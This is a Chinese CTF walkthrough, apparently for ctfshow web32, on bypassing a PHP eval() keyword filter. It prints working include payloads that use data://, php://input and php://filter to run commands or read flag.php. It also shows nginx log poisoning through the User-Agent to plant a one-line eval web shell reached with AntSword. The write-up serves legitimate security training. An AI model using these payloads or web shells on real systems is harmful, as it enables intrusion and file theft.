前置知識
協議相關博客:https://blog.csdn.net/m0_73353130/article/details/136212770
include
:include "filename"
這是最常用的方法,除此之外還可以 include url
,被包含的文件會被當做代碼執行。
data://
: PHP 支持的一種數據流協議,用于將數據直接嵌入到代碼中。相關博客:data://協議
data://text/plain
:要求按照文本格式將內容嵌入代碼中,使用方法:data://text/plain,content
php://input
:讀取原始的POST數據,只能讀一次。詳情看這里https://docs.pingcode.com/ask/45614.html
php://filter
:過濾器,以一定的規則處理要讀寫的文件。詳情:https://blog.51cto.com/u_16248628/7588596
user-agent
:一個特殊字符串頭,使得服務器能夠識別客戶使用的操作系統及版本、CPU 類型、瀏覽器及版本、瀏覽器渲染引擎、瀏覽器語言、瀏覽器插件等。
信息收集
更多的過濾,我大概猜測一下每一個過濾的用意
flag:不能直接輸入文件名
system:不許使用system函數
php:不許輸入flag.php,不能使用<?php ?>
cat:不許執行系統指令cat
sort:系統命令,將文本內容排序后輸出,類似cat
shell:不許使用shell_exec
.
:不許使用flag.php,不許使用字符拼接,php中可以用.
拼接字符串例如 $a="12"
$b="34"
$a.$b==="1234"
空格:系統命令中多需要空格,例如tac flag.php
'
:不允許自定義字符串
`(反引號):不允許使用shell命令。`ls` 效果等同于shell_exec('ls')
echo:不允許使用echo打印
;
:不允許使用;
在代碼結尾,這使得函數執行更為困難了
(
:不允許使用函數
/i
:忽略大小寫
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
解題
如果需要使用空格,那么參看 ASCII碼表, %09-%0D上只要有一個能夠使用,那么就能繞過空格過濾,例如:tac%0aflag.php
,推薦使用最常用的%0a
不能使用函數了,因為括號被限制了。連 ` 也被限制了,系統命令也不行了
include是不需要括號的,所以我們可以考慮從include入手。
發現一個好玩的東西:這里為什么一定要加一個函數而不是直接類如?c=$_GET["1"]?>&1=xxx;
呢,原因是
例如c=$_GET[1]&1=echo 123;
,eval($_GET[c])
? eval("$_GET[1]")
? "echo 123;"
,第一次系統自動換算$_GET[c]
,第二次使用eval解析字符串 "$_GET[1]"
,得到結果echo 123;
方法1.1
方法1將以協議相關的方法進行嘗試
下面語句的意思是
eval($_GET[c]);
? eval("include$_GET[1]")
? include$_GET[1]
? include "data://text/plain,<?php system("tac flag.php") ?>"
? <?php system("tac flag.php") ?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php") ?>
其中?>
利用了php的機制,當遇到?>
時會自動添加一個;
,也就是說<?php ehco 123 ?>
和<?php ehco 123; ?>
等效。我們利用這個機制繞過;
的過濾。
使用$_GET[1]
中轉一次是因為太多東西被過濾了,非常不方便
方法1.2
下面語句的意思是
eval($_GET[c]);
? eval("include$_GET[1]")
? include$_GET[1]
? include php://input
?c=include$_GET[1]?>&1=php://input
post:
<?php system('ls')?>
在使用google的hackbar時需要注意,使用raw模式,basic模式下后臺無法獲取到不帶=
的post數據。
原因:https://github.com/0140454/hackbar/issues/56
方法1.3
這一類方法的主要目的是讀取文件,并讓<?php標簽失效,以文本顯示代碼
將flag.php以base64加密的方法讀取,這會將一串base64顯示到頁面上,拿去解密即可獲取flag
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
類似的,把ascii編碼變成utf-16編碼
?c=include$_GET[1]?>&1=php://filter/read=convert.iconv.ascii.utf-16/resource=flag.php
方法2
user-agent
之前都是使用過濾器,那么不用過濾器行不行,當然行啊,不行我肯定不寫出來了。
我們包含/var/log/nginx/access.log
你問為什么我知道是這個目錄
apache日志存放路徑:/var/log/apache/access.log
Ngnix日志存放路徑:/var/log/nginx/access.log
和 /var/log/nginx/error.log
沒有放這里或者沒開啟日志,那就用不了
有沒有發現這個玩意很熟悉,這不就是user-agent
嗎
利用原理:每次都會將user-agent
寫入日志里,如果傳入的日志里有惡意代碼,也會被寫道日志里,但代碼此時并不會被運行。由于我們使用了include
包含日志文件,日志文件中的<?php ... ?>
標簽中的代碼會被當做代碼執行,而其他文本當做普通文本顯示。
寫一句話木馬
<?php eval($_POST[2]) ?>
然后拿蟻劍連接它,之前想要直接用system(“tac flag.php”)的,沒反應,只能蟻劍連,原因不詳。
蟻劍使用參看[ctfshow web入門] web31
蟻劍連接,接不上url寫成http沒有s,一句話木馬寫$_REQUEST
或者$_POST
,不要用$_GET
url/?c=include$_GET[1]?>&1=/var/log/nginx/access.log
密碼:2 因為$_POST[2]
web31 ?? 目錄 ?? web33